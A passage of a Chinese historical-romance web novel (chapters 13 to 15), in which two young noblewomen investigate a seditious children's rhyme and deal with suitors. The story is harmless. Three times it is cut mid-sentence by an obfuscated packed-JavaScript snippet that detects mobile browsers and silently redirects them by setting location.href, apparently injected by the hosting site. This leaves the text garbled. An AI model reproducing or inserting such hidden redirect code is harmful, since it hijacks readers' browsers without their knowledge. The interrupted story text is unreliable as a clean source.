霍大夫想着此事得写信告诉裴澄,于是对大虎说:“大虎今日我就不出诊了,得在把姚小姐的药方的几味药再斟酌一下。除了重症的病人,其余的事别来打扰我。” 大虎一一应下,去院子里磨药了。 姚映梧兴冲冲走出济世堂,对云昙说道:“云昙,这几日咱们辛苦些。在姐姐入宫前找到是谁借童谣搞鬼。” 云昙眼神坚毅,“嗯!云昙一定帮小姐抓到这个人。” 姚映梧提起裙子准备上马车,有人从她身后伸手圈住她的腰,另一只手捂住她的嘴,飞快地将她抱了下马车。 “唔唔……” “嘘!阿缘是我。” 13. 窦花娘 姚映梧瞪大眼睛,不解的看着的肖遥。 云昙也被吓了一跳,被姜煜紧紧捂住了嘴巴。 肖遥神情严肃道:“我今日特意到丞相府寻你,却见有人从出相府便一路上都在跟着你。我怕你有危险,特意在这拦住你。你这金漆马车太招摇了,让车夫和云昙把它赶回相府,你坐我们的马车。” 两人眨眨眼表示同意,肖遥给阿缘系上斗篷。 云昙将荷包递给小姐,“小姐,带上银两吧,万一用得上。” 姚映梧接过时,忽地瞥见云昙腰间常系的香囊不见了。她疑惑道:“云昙,你的香囊呢?” 云昙一边扶小姐上马车,一边轻声回道:“上次在和羹居不小心弄丢了,不是什么大事。小姐路上一定要小心。” 云昙等几人都上了马车,才故意大声吩咐车夫回府。 姚映梧躲在马车上紧张的屏住呼吸,见朱红金漆马车一走,果然一辆拉草的牛车缓缓跟上。一人带着斗笠驾车,另一人面庞白净,坐在草垛上目露凶光,死死盯着马车的方向。 肖遥问道:“阿缘这两人你认识吗?” 姚映梧紧皱着眉,摇摇头道:“驾车的那人挡住了脸我看不清,坐在车上那人我确定从来没见过他。” 姜煜松了口气说:“车上那人眼中藏着杀气,肯定不是什么好人。还好济世堂离公廨比较近,有公廨的人在,他们不敢放肆,云昙姑娘应是很安全。” 姚映梧长舒一口气,“皎皎,今日我还要多谢你。多亏你发现了这两个歹人,不然我和云昙走到昌平坊就保不齐会发生什么了。也要多谢阿姜姑娘和…这位是……” 姚映梧上马车时神经紧绷,一时没注意到马车上还坐着一位身穿靛青色胡装的女子。 姜煜向姚映梧解释道:“这是我妹妹……” “姜燃。”姜燃打断了姜煜的话,抢先回道。 姚映梧望着姜燃桃花似的眼睛带着一丝意味不明的深意,她脑海中迅速闪过那一晚的剑光。 她对着姜燃问道:“姑娘,我们是不是在哪见过?” 姜燃挑眉一笑,直接承认道:“当然,姑娘如今能如此‘身姿矫健’应该,是有我帮忙的缘故吧。不过姑娘眼力真好,居然还能认出我。” 姚映梧心里怪异的情绪愈发扩大,“不瞒姑娘,我自小每天生活在病重的阴影下,生怕哪天会突然死掉或者病到下不来床。因此,我习惯把见过的人和见到的物都仔细记下,怕日后连记忆都留不下。” 肖遥和姜煜听了一头雾水,姚映梧只好将城楼上发生的事告诉两人,还不忘隐去姜燃拔剑挥向她与高琢跟她师父的事。 姜燃听着她的说辞,思索着再推她一把,可又碍于姐姐的嘱咐。 她笑着提醒道:“小姐,近日可遇到什么奇怪的事,或者身边什么人不见了。若有,小姐可一定要当心呐。” 说完她便偏过头去望向窗外,不再理会姚映梧。 姚映梧察觉姜燃话中应有别的什么含意,但她此时已无暇深思。她焦急道:“皎皎我要去昌平坊,你能送我去吗?” 肖遥虽不知她为何如此着急,还是点头应下了这桩事。 马蹄踩着清脆的哒哒声,拉着一车人直奔昌平坊。 车内,肖遥拉着姜燃诉说这些年的心里话,心疼她离家时太小,离开家又太久,害的她如今家中的样子都记不清了。 姜煜眉头紧锁搭着姚映梧的脉搏,“阿缘,看脉象你脉细如丝似有似无,应是病重在身。可我看你精神甚好,步伐轻盈,这是怎么回事?” 姚映梧心下一紧,难道我的病还没好,她不知所措望向姜燃道:“姑娘不是说……” 姜燃原本心中有自己的盘算,可姚映梧这几日安然无恙,她心里也打了鼓。背后搞鬼之人居然如此淡定,能让她自幼生病,却对她病好视而不见。 难道说,刚才那两人就是? 姜燃收敛起笑意,换上一副忧伤的神情,“我也没想到姑娘竟病得这样重,按理说姑娘吃过我给的药,应该能痊愈的。可现在来看,我这药最多保你十日内不病发。姑娘不必担心,过几日再来找我拿药就好。” 姚映梧原本就苍白的脸色更加惨白,眼神中的光都黯淡了许多。 她强撑起一抹笑,“能过几日不咳的日子我就很感激姑娘了。原是我自己不满足,总想姑娘能帮我把病好。也是,十几年多年我看了几百个大夫都不管用,怎么能一下就治好了。是我痴心妄想了。” 肖遥不知该怎么安慰阿缘,只轻轻拍了拍她的肩,她也知道安慰的话现在抚慰不了阿缘。 肖遥求助的眼神扫过姜燃和姜煜,嘴里小声念着:“红豆,阿姜…就帮帮阿缘吧…” 姜煜收回给姚映梧把脉的手,皱着眉无奈地摇头。肖遥祈求地又看向姜燃,希望能从她那得到一个肯定的回复。 姜燃不敢和皎皎对视,怕自己会心软。可肖遥的眼神也让她无法忽视,她挣扎许久,深深叹了口气妥协道:“也不是没有办法,我从…师父的书上读到过,治疗这种顽疾需要一味特殊的药材。只可惜,这味药连带种子,全被被晋灵帝下旨收入国库,如今寻不到了。” 姜燃递过一个碧色的瓷瓶,“里面是我这段时间炼的药,小姐每隔十日吃三粒,可保小姐身体无虞。这段日子,我会全力为小姐寻找这味药材,帮小姐治病。” 姚映梧泪眼朦胧,感激地起身大拜,“姚映梧再此多谢小姐救命之恩。姜小姐的恩情,映梧日后一定报答。” 姜燃面无表情听完姚映梧的话,她沉默片刻还是伸手扶起她,“是姐姐们说,你是无辜的。要报答,就报答我的两个姐姐吧。” 姜煜心疼地摸着姜燃的脑袋,“红豆,寻药此事太过凶险。而且灵帝当时痴迷成仙,国库里的东西都被他做成什么仙宫了。你去寻药,我怎么能放心呢。” 肖遥应和道:“是啊红豆,灵帝被晋宣帝杀死后,仙宫位置下落不明,前晋国土的任何一个地方都有可能是仙宫所在,半年时间你怎么找得过来。要找,就让我和阿姜分头去寻,你在家中多陪陪叔叔婶母,他们很想你。” 红豆紧紧抿着唇,眼神飘忽道:“师父跟我讲过,当年灵帝欺压采药人,强逼他们献出各种灵药来充盈仙宫。许多人明面上顺从,暗地里偷偷留下一部分种子没有上交,我到当时前晋的边境之地去找,应该就能有收获。如今闼鞑虎视眈眈,两位姐姐要为国征战,你们放心,我自己去就好。” 吁—— 马车停在昌平坊的坊门,姚映梧向三人告辞准备下马车。 肖遥拉住姚映梧的手,眼中全是担心,“阿缘,有那两个人跟踪你在先,以防不测,还是我陪你一起吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067078|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚映梧回握住肖遥的手,心头流过一片暖意,她笑道:“如此,就多谢皎皎了。” 昌平坊,属于盛安城内比较安静的地方。因其坊内住的大多数是进京赶考的举子,街市上摆摊的小商贩并不多。 两人走了一路,穿过好几个巷子才找到窦花娘家。 咚咚咚——! “谁啊。”窦花娘推开门,看清门前站着的两位小姐后开门的动作一顿。 “两位姑娘找谁啊?”窦花娘僵硬一笑道。 姚映梧率先说道:“大嫂你不记得我了吗?咱们在慧慈院见过的。今日贸然登门,是有件要事需向娘子请教,若多有叨扰,望娘子恕罪。” 窦花娘迟疑地打开门请两人进屋,“不妨事,那日之后小姐常派人来给慧慈院的孩子们送点心,我们在那做工,也跟着沾光,分了不少好东西。” 屋内陈设简单,书案上摆着一盆兰花,应是几日没有浇水,兰花的叶子有些奄奄的。 肖遥一眼就发现了桌上摆的白泽兽面的画像,她不由紧锁眉头。 窦花娘走上前挡住肖遥的视线,随手把书案上的东西摞在一起。 “自我弟弟走了以后,我整日浑浑噩噩,家中也无心打理,让两位姑娘见笑了。” “无妨,家中发生了此等大事,一时顾不上收拾也在情理之中。”肖遥走到窦花娘身边拍拍她的肩安慰道,又悄悄用手指擦拭了下书案。她负手一捻,指腹上沾了一层粗粝的灰。 姚映梧拿出一块银铤递给窦花娘,“大嫂,我听大虎哥说你弟弟窦石突然病逝的消息。我们是大虎哥的朋友,他生前帮大虎哥给我写过信,这点心意就请大嫂收下。” “小姐真是太客气了。”窦花娘笑着伸出手接过银铤。 肖遥看着窦花娘的掌心眯起双眼,也拿出一块银铤拉过她的手,将银铤放进她的掌心中。 “大嫂,你独身一人住在这未免偏僻了些。这银铤你拿着,换一处更热闹的宅院。” 窦花娘下意识想推脱,却又紧急停住了收手的动作。她语气不自然道:“多谢,姑娘好意,这钱就给我弟弟换一副更好的棺椁吧,我年纪大了,更喜清净。” 肖遥颇有深意一笑,没再说话。 姚映梧问道:“大嫂,你弟弟得的是什么病啊?” 窦花娘一愣神,转而又哭道:“是我没用啊,替人帮工赚不了几个钱,害的弟弟要一边读书备考,一边替人抄书补贴家用。他没日没夜干了好几个月,就这么,活活累死了。啊呀——我苦命的弟弟哟,是姐姐没用啊——” 窦花娘干嚎着嗓子,任凭两人再怎么问也不回声了。 姚映梧眼看线索断了,无奈地看向肖遥。 肖遥摆摆手,冲她递了个眼神。 两人安慰几句,便告辞离开了。 一出门,两人倒是听见窦花娘不再哭喊了。 姚映梧叹了口气,有些垂头丧气。 “看样子线索又没有着落了,窦大嫂对弟弟早逝应是太伤心了,我们贸然前来打扰她,肯定戳中她的伤心事了。前几日我见她时,她还没那么伤心呢。” 肖遥回想着桌前的灰尘跟白泽兽面图暗觉不妙,连忙追问姚映梧到底在查什么事。 姚映梧扫视四周,见没人注意她们,才小心地附在肖遥耳边,悄声告诉她童谣之事。 14. 说好的偶遇呢 “什么!” 肖遥倒吸一口凉气,吃惊道。 街上的行人听见她的喊声,纷纷侧目过来。 众人好奇的目光让肖遥略显尴尬,她知在街上谈话略有不妥,忙不迭挽着姚映梧离开了。 两人在街边寻了一处普通的茶铺,找了个店中隐蔽的位置坐下。 “皎皎你是说盛安城内又传起童谣了。”肖遥压低声音,惴惴不安道。 姚映梧惊讶地道:“皎皎,你知道童谣的事?” 肖遥神色凝重地点头道:“当年姑母被册封为皇后,母亲奉命带着我回朝观礼。当时朝中众臣也曾有人质疑,先帝驾崩后为何仅留下口宣并未留有诏书传位。但当时,先帝的子嗣只剩下年幼的齐王和陛下。齐王的母妃身份特殊又是兰诏和亲的芦元公主,齐王年幼当时又在病中,支持他的大臣不多,这件事也就过去了。” 肖遥紧锁眉头,仔细回忆着当年的细节,“那时,城中知道这事的人不多,是一位俗讲艺人把此编成童谣让孩子们学了去,城中才流传开此事。但陛下登基后励精图治,造福百姓,渐渐人们也就不再提这件事了。我那时经常入宫找姑母,太后她只是在宫中照顾病中的齐王。自童谣出现后,她与陛下关系也还似从前一样,未曾有什么变化。” “那个俗讲艺人呢?编篡童谣难道无人抓他?” “怎么会不抓,可他自编篡完童谣后就了无音讯了。公廨迫于压力,抓了好几个与此人同住的俗讲艺人询问,关系亲近的都被下了狱。一时,盛安城内茶楼的说书人人人自危,也就没人再说书了。” “皎皎,那当年支持齐王殿下的那些大臣呢?齐王虽得先帝宠爱,但毕竟身份特殊,谁会支持他呢?”姚映梧觉此中有蹊跷,放下手中的茶杯焦急的问道。 肖遥掩唇低声道:“他们大多是先帝破城后归顺先帝的前晋权臣。先帝当时正值用人之际,他们中除了大奸大恶之臣先帝都留任任用了。先帝坐稳江山后,开始慢慢剔除这些人,可还没等全部除尽,先帝就驾崩了。他们无非是看中齐王年幼,就想借口宣无诏一事生事才支持齐王而已。后来陛下登基这些年,陆陆续续将剩余的那些人全都处斩了。” 姚映梧只听长姐说陛下生性多疑冷酷,不似表面上温和,想不到下手也如此果决。她接着问道:“皎皎你可知齐王当年患得什么病啊?” “齐王的病说来也神秘,他在太后宫中养病时太后不许任何人接近,连给齐王看病的都是她的陪嫁宫女。到底是什么病,我也无从而知。” 姚映梧细细回想着有关童谣的一切,无论是口宣无诏还是齐王患病皆是自宫中而起,若不是童谣,百姓根本无法得知内情。 姚映梧震惊地看向肖遥,肖遥冷静的样子无疑不是印证了自己的猜测。 肖遥深吸了一口气回道:“童谣会惑乱人心,动摇陛下统治根基。童谣两次出现,一次是陛下登基之时,一次是陛下病重之际,此人所图,不言而喻。” 姚映梧将手轻轻覆在肖遥的手背,她感受着掌心中传来的暖意,郑重地问道:“皎皎,你可愿随我一起查明真相。” “当然愿意!”肖遥的声音不大不小,语气却坚定异常。 “阿缘,我也不瞒你,这个窦花娘绝对有问题。” “嗯?”姚映梧眨眨眼,“可是,那日是她主动告诉我慧慈院中的‘鬼’是白泽兽面,还有他弟弟的名字。不然即使今日我去了济世堂听大虎哥提起窦秀才,也不会寻到她啊。” “她若是浆洗衣物来养活她和弟弟,常年捶衣虎口处必然会留下茧子,可她手心的茧却在指根。而且我给她银子时,她下意识挣扎那一瞬用了十足的力,若我不是刻意试探她,恐怕就让她挣脱了。” 姚映梧微蹙起眉,“那我们今日岂不是不是打草惊蛇了。” “应该不会,听你所述应是她故意放出线索诱你来查此事,可是,她为什么今日又什么都不肯说了。” 两人琢磨着其中的遗漏的可疑之处,异口同声说道:“她弟弟!” 二人结了茶钱快步走在街上,姚映梧低声自语道:“早该想到的,她弟弟身为秀才,考试前却将自己活活累死,简直是匪夷所思。” 肖遥应和道:“为今我们只能去找你口中的大虎哥,问他窦花娘的弟弟埋在哪了。窦花娘这,还得找人盯着她才行。” 高府内,高琢刚练完刀法,正给昨日他移栽在院中的梧桐浇水。 高忆欢兴高采烈跑进院子里,拿着画纸来求擅长丹青的高琢给她画阿娘的像。 “阿琢哥哥,你就给忆欢画一张阿娘的像吧,我想她了。” “嘘。”高琢做了个噤声的动作,警惕地看了看四周,“忆欢,现在你不能叫我哥哥了,得叫叔叔知道吗。” 忆欢撇撇嘴,“阿琢哥哥,忆欢当然知道了,我就是见你院中四周无人才敢叫你哥哥的。我懂,你现在是阿爹的弟弟了,不是我的哥哥了。” “忆欢!不要打搅小叔叔。药已经熬好了,贾嬷嬷正等着你回去喝药呢,别让她等急了。” 高羡踏进院门就听见自己女儿正叫高琢哥哥,他心头一惊,赶忙唤忆欢回自己的屋子,他还有要事要告诉高琢呢。 “好的阿爹,我这就回去。” 高忆欢嘴上应着,手上的小动作却不停。她背过手去,偷偷将手中的画纸折好塞进高琢的手里。 高羡无奈地按住突突直跳的太阳穴,假装自己没看到她的小动作。 忆欢走后,高羡走上前抽出高琢手中的画纸,“小琢,那天你答应过我以后不再画这些了的。你放心,忆欢那我会替你找借口去解释的。你呀,就把心思都放在姚姑娘身上就好。” 高琢就算再迟钝,此时也咂摸出兄长口中的心思是何意味了。 他不敢相信,兄长当时说他不介意希望他们两人携手的话,居然是这样的意思。 高琢一把甩开高羡的手,生气道:“兄长我是对映梧是一见倾心,可我绝不会利用她的身份,让她成为你登上高位的棋子。她待我是真心的,我也绝不辜负她的真心。若是你动了这样的心思,我…我宁愿离开高家也绝不能让你伤害她。” 高羡望着高琢坚定的脸失神片刻,而后又换上一副委屈的表情道:“胡说什么呢小琢,在你眼里我是这样的人吗?我今日去济世堂帮忆欢买药,见有一个男子鬼鬼祟祟的跟着姚姑娘,我怕姚姑娘出事,才赶忙回来告诉你的。” 高琢一听心下又急又愧,“不是的,不是的兄长。是我不好,还胡乱揣测你。” 高羡将桌上的横刀递给高琢,“还给我道什么歉啊,还不赶紧去看看姚姑娘怎么样了。” 高琢慌乱地接过横刀,立刻飞奔出门去了。 高羡远远望着高琢的背影,反复思索着他说的话,他们两个真的会走到那一步吗…… 他的家人一个接一个离开他了,连小琢也会离开吗…… 高琢的马车停在了济世堂,他一下马车果然看见一个身材魁梧的男子偷偷摸摸的四处张望。 他悄声绕到那人的背后,猛地一把死死按住他的肩。 “喂!你光天化日之下在这鬼鬼祟祟干什么呢。” 牛二吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067079|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得哆哆嗦嗦,“好汉饶命啊,我我,我就是丢了东西,在这找呢。” “还敢狡辩,丢了东西不往地上寻,四处乱看什么呢。” 牛二此时心里悔极了,今日他在马场做工,又碰上那个有钱的公子。他这次出手极阔绰,给了他五两银子让他跟踪上次的姑娘。他一时财迷心窍就答应了,不成想,跟到这他又跟丢了。 只不过这次更倒霉,他直接被人抓了个现行。 牛二求爷爷告奶奶,好说歹说才让高琢松开了手。 高琢手虽然松开了,眼神却一刻都没离开过牛二的动作,只要他敢逃跑,他立刻就能再次擒住他。 他得带这个人在映梧面前露个脸,让映梧以后出门多提防着他点儿。 牛二见高琢来势汹汹还随身带着横刀,就以为他是公廨中人,顿时腿都吓软了,只能殷切地盼望那公子早点赶来救他。 “殿下,咱们到济世堂了。”四喜勒住马,轻声回七皇子道。 牧泓屿下了马车,心里止不住的慌乱。 四喜问道:“殿下,要不要奴才跟着,也方便服侍您啊。” “不必了四喜,你回宫去吧。若母后来了,你就说我去马场骑马了。” 牧泓屿刚走出两步,又急忙折返回来。 他张开双臂让四喜好好瞧瞧,“四喜,我今日这身衣服怎么样。你说,阿遥她,会喜欢吗。” “殿下这身衣裳可是特意从蔺州买的料子,还请宫里最好的绣娘绣的肖遥将军最喜欢的四神纹,她肯定会喜欢的。殿下放宽心,宫里谁不知道,三个皇子里属殿下最出众,龙章凤资,风骨俊茂。奴才说句大不敬的话,二皇子和五皇子都比不上您呢。” 牧泓屿听后低声自嘲道:“跟二哥和五哥相比,我也只剩这张面皮能拿得出手了。” “殿下,您说什么?” “无妨,你快些回去,别被母后发现了。” 牧泓屿惴惴不安地走到济世堂门口,心中酝酿了好久与阿遥见面时的情绪。他刚摆好得体的笑,就被迎面跑来的牛二惊得僵在了脸上。 “公子!快救我啊公子!” 他不着痕迹的避开牛二想拉扯他的手,硬挤出一抹笑试探着问道:“何事啊,你被那位姑娘发现了?” 牛二抹了把额上的汗,“不是,是这位公子,他硬拉着我要去见那位小姐。” 牧泓屿不满地向后望去,看看是谁不长眼敢拦他的人。 牧泓屿与高琢对视后,两人都尴尬的摸了摸鼻子,两人同时开口说道:“是你啊。” 牧泓屿见高琢尴尬地摸着横刀四处张望,他赶紧向牛二递了个眼神,让牛二趁机溜之大吉。 两人相顾无言,尴尬的笑了两声。 高琢有些心虚,自己刚刚抓住的男人不会是他雇来跟着肖遥姑娘的吧,。虽说他雇人跟踪的行径很不耻,可自己抓错了人,岂不也成了跟着映梧的不耻小人了吗。他不会刻意报复自己而向映梧告密吧。 牧泓屿表面维持着骨子里的教养,脸上一直冲高琢扬着得体的笑,他心里却早将高琢骂了百八十遍。 他跟姚映梧两个人是不是商量好的啊,故意破坏他偶遇阿遥的计划。那日在和羹居,姚映梧已经坏了他一次事,今日,又被高琢这小子从中作梗。 阿遥好不容易回京一次,对自己的邀约是千百个理由推辞。眼看她就快回蔺州戍边了,自己还没机会跟她挑明心意,只能出此下策跟踪。 托他们两个的福,自己现在在阿遥心里肯定没留下什么好印象。 这两个人,最好不是故意的! 15. 情缘在爱难说 肖遥掀开车帘,打量着四周无聊道:“唉。早知还会回济世堂,就不让阿姜和红豆驾马车回去了。害得我们只能重新雇辆马车,白白浪费了许多时辰。” 姚映梧兴致盎然的观察着窗外每一个行色匆匆的过路人,听到肖遥的话出声安慰道:“无妨的皎皎,咱们就当是出来散心了。 车夫停好马车,恭敬的说道:“两位小姐,到济世堂了。” 肖遥跟在姚映梧身后,两人一前一后走着。 两人拐进济世堂所在的小巷,姚映梧却突然停住脚步。 肖遥不解道:“怎么了,阿……” 姚映梧一进小巷就远远望见了不远处的高琢和牧泓屿,她急忙让肖遥噤声,“别出声皎皎,是他们。我们快走。” 肖遥迅速瞥了一眼,看清楚济世堂大门处站着的两人时,忙不迭转身就走。 姚映梧也急忙跟上肖遥的步子,轻声问道:“他们两个怎么在这?” 肖遥压低声音道:“管他们呢,反正这件事现在不方便让七皇子知晓,咱们快些走吧。” 高琢和牧泓屿本就没什么话可说,如今又有牛二这一出,两人之间更是尴尬。 高琢原本想走,忽地瞅见不远处出现一个熟悉的身影。 “映……” 姚映梧的名字还被他卡在喉间,他就见映梧决绝地转身离去。高琢的嘴角瞬间耷拉下来,就连平日亮晶晶的眼睛都黯淡了许多。 映梧怎么不理他了,她是不是生气了…… 牧泓屿自然也看见肖遥决绝转身离开的身影,他快走几步准备去追阿遥,余光却瞥见身后的高琢一副心碎的表情。 牧泓屿腹诽道,这么一点小打击就伤心了,真没用。 他叹了口气,回身重重拍了下高琢的肩膀,“还不快追。” “映梧!”“阿遥!” 还是被发现了。姚映梧和肖遥无奈的对望苦笑,只好转过身去面对身后追来的两人。 高琢将姚映梧拉到一边,又小心地瞧了瞧牧泓屿和肖遥那边的情况。 他垂下头,向姚映梧解释道:“映梧我不是故意跟着你的。我兄长来济世堂取药,撞见有人不怀好意的跟着你。他害怕你遇到危险,特意告诉我,让我来这寻你的。映梧,是我不好,没抓到跟踪你的歹人。” 姚映梧见他愧疚的样子心中动容,“你能把我的安危放在心上,还时刻记挂着我,我就很开心了。” 高琢被姚映梧的话弄得有些羞怯,连心跳也越来越快。他微微偏过头,怕映梧发现他的窘况。 姚映梧看着高琢红透的耳朵掩唇一笑,心里却也隐隐有些忐忑。 她绞着手帕,不安的问道:“高琢你兄长他,他见人跟踪我为何不直接告诉我,反而还,还回去告知你,让你来帮我。” 姚映梧的话让高琢一愣,他从来没想过兄长为什么见映梧有危险却自己不直接出手帮忙,反而来告诉他。 他虽觉奇怪,但也没过多深思。他耸耸肩答道:“大约是兄长怕唐突你,才没自己出手吧。” 姚映梧攥紧帕子的手松了松,也对,她与高琢虽是好友,人家也不好直接与她说些什么。他若真是不怀好意,自己出手救她不是更能让她欠他恩情吗,也更好与父亲结交才对。 姚映梧有些愧怍,高琢的兄长担心她遇到意外,好意让高琢来保护自己,自己居然揣测人家的好意,怀疑别人的用心,真是不应该。 姚映梧支吾着说:“是我不好,竟怀疑你兄长……” 高琢飞快地摇摇头,道:“不妨事。肯定有很多人借你刻意接近你父亲吧,生在世家高门中可真不容易。” 姚映梧淡然的笑道:“我小时候还不懂这些,以前府中的嬷嬷们为了能抢着照顾我,父亲在时,会爱抚着我的头说,这孩子真可怜自小身患重病。可父亲不在,就会偷懒耍滑私下议论我是病恹恹的累赘,喝再多药也养不活的。她们要不是为了能多赚些银子,才不会来照顾我。” 高琢听后,心像被揪着一样疼,他气愤道:“她们也太过分了!一定要好好教训她们才对!不过映梧,你别放在心上,现在你的病都好了,千万不要因为这些不堪入耳的话难过伤心。” 姚映梧眉眼弯弯,释然的笑着说:“自然,长姐告诉过我,姚家的女儿,谁都不能轻易欺辱了去。我当场就斥责了她们一顿,还把这些话一五一十都告诉父亲,他气急了,将这些下人都赶出府去,重新挑了嬷嬷来照顾我。可我也知道,她们说的是对的,如果没有好处,谁会喜欢我这个病秧子。父亲如今是丞相,盛安城内的人会可怜我。若父亲是普通人,我只会是一个累赘。” “不是的!”高琢迅速反驳道。 他不知该怎么安慰她,只能笨拙的向她剖开自己的心,让她明白自己有多在乎她。 “姚映梧才不是累赘,她心地善良,体贴温柔,永远都很在乎别人的感受。姚映梧是高琢这辈子见过的最聪慧最漂亮最善解人意的女子,她很重要也从来不是负累,她是这世上最好最好的人。她也是高琢最喜欢,最特别的人。” 姚映梧怔愣在原地,耳边传来嗡鸣声。除了家人,这是第一次有别人对她说她很重要,她不是别人的拖累。 她从小不愿妄自菲薄,她相信总有一天她也能成就家族荣耀,成为盛安城士族姚家最骄傲的存在。 可日益虚弱的身体每时每刻都在告诉她,不要再痴心妄想了,病重的时候,连床都下不来的人还怎么去实现理想和抱负。 所以,她只有一条路,就是向病痛妥协。她这一辈子只会病故嶙峋,缠绵病榻。即使她不甘心不情愿,这就是她的命了。 还好,命运终于眷顾她一次,姚映梧世上又多了与她有羁绊的人,她在乎的人。 姚映梧第一次感受到娘亲为她取的乳名阿缘是何含义,缘分使然,她与他相遇。 她摸了摸身上的药瓶,她想哪怕是红豆和阿姜姐不能帮她治病她也甘心了。 姚映梧抹掉眼角的泪珠,一字一句道:“高琢,你,对姚映梧也特别重要。” 微风习习,情意绵绵。 肖遥见高琢将阿缘拉走,自己也不想打扰他们二人谈心。 “说吧,什么事。” 牧泓屿深吸一口气道:“阿遥,我知道你不想见我,为了能见到你,我才找人跟踪你。这件事是我不对,我以后也绝不再做了。我不奢求你能原谅我,只求你别再回绝我。我知道你快要离开盛安了,再回来也不知道是什么时候,我只想像小时候那样,再跟你一起骑一次马,我就心满意足了。” 肖遥不忍地蹙起眉,动了动嘴巴还是没有出声。 牧泓屿捕捉到她冷漠表情下细小的波动,趁热打铁道:“二哥聪慧,五哥英武,只有我自小不得父皇宠爱,从不得他另眼相看。他日复一日的忽视,连宫人们都开始对我视若无睹。他不许我习武练骑射,我就偷偷学,以为学好了就能得到他的爱。可他见我在骑射场刻苦练习,竟直接拂袖而去。见此,我一时失神从马上跌落,是你不顾危险冲出来接住我,不然,我现在要么残了,要么早就死了。” 牧泓屿挽起袖子,将小臂伸到肖遥的眼前,“阿遥你看,当时我从马上摔下来的疤现在还在呢,你肯定还记得的,对不对。” 他可怜巴巴地拽住肖遥的衣袖,“阿遥你告诉我为什么好不好,明明我们小时候那么要好,你我自小无话不谈,你当时半夜教我骑马,练剑。你还教会我吹埙,我们一起在马场的草地上合奏,明月、清风和满天的星光,你都忘了吗?” “我,从未忘记过。”肖遥眼神黯淡,轻声答道。 牧泓屿破涕为笑,紧紧抓住肖遥的手腕疑惑道:“那为什么……” 肖遥蜷了蜷手指,还是没挣开他的手。 她仰起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067080|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,眼神飘忽地望着天上飞过的鸽子,无忧无虑,随心而飞,不经感慨于幼时的单纯随性。 肖遥语气颤动,“泓屿,我的姑祖母是先帝的襄武皇后,我的姑母是陛下的皇后也是你的母后。阿遥是肖家女,是定远侯唯一的女儿,陛下召我回京,还有意留我在京中长住。七皇子觉得,阿遥以后还能随父兄驰骋沙场吗?” 牧泓屿感觉自己浑身的血液此时都凝固了,他缓缓地放开手,却心如刀绞。 肖遥是大邺的少年将军,更是盛安最有权势的高门贵女。大邺两帝,皇后皆是肖家女。肖家女儿要么征战沙场,要么只会做皇帝的皇后。 而他,不会是皇帝也更无法是她的夫君。 牧泓屿打定主意猛地握住肖遥的手,他看着肖遥的眼睛说道:“阿遥你放心,我回宫以后就去打听父皇是怎么想的。我,我还会去求母后,让她出面劝父皇让你尽快回蔺州去。反正我也不得父皇的喜爱,这个皇子我就不做了,我随你去蔺州戍边,我们以后就在一起好不好。” 肖遥抬眸对上他热切的眼神,不自觉闪躲开,她一时语塞,竟不知该说什么。 牧泓屿见她闪躲时,心下一沉,却还不依不饶得想求一个答案。他安慰自己道,他们还年轻,以后有的是时间相处。到时候他随她去蔺州,他们会一直待在一起,感情会慢慢变得更好的。 肖遥长叹一声,道:“闼鞑犯我边境,以至边境百姓民不聊生,肖遥自小便发愿,等与母父嫂兄携手灭掉闼鞑以后再考虑婚姻大事。你……” 听到肖遥的话,牧泓屿激动到不能自已,“阿遥,我愿意等你。哪怕等一辈子……” 姚映梧深知自己与肖遥一起查童谣的事力量太小,不能尽快破除这个秘闻的话,她始终放心不下长姐。 她拍拍高琢,示意他附耳过来。她低声说道:“高琢,有件事我要求你帮我。” 高琢见她神情严肃,郑重地点头道:“你的事就是我的事,我知道,要保密。” 拉拢了高琢,姚映梧准备叫肖遥过来商讨计划。 她见牧泓屿一直缠着肖遥,皱了皱眉,索性与高琢一起上前分开两人。 姚映梧夺过肖遥的手,开心道:“皎皎,这件事高琢愿意帮我们。” “太好了,有高琢帮忙探听消息,我们就更轻松了。” 牧泓屿垂眸看了下空空的掌心,上面还有阿遥掌心的温度。 牧泓屿熟练的挂起他在宫中常用的笑容,后退一步,冲三人作了个揖道:“这几日是我冒犯姑娘和高公子了,我刚才向阿遥道过歉了,在这再向两位赔个不是。” 姚映梧急忙走上前扶起他,急切道:“七皇…七公子,您…这使不得。我也有不对的地方。” 牧泓屿语气柔和道:“映梧姑娘,这几日都是我的错,还害你差点受伤。只是,这件事我也想帮三位。不仅仅是为了阿遥,也是为了我大邺的安宁。” 牧泓屿警惕地望了下四周,低声道:“作为皇子,我也应为大邺出一份力。” “皇…皇子。”高琢惊讶地捂住嘴,连忙说,“高琢这几日多有冒犯之处,还望您见谅。” 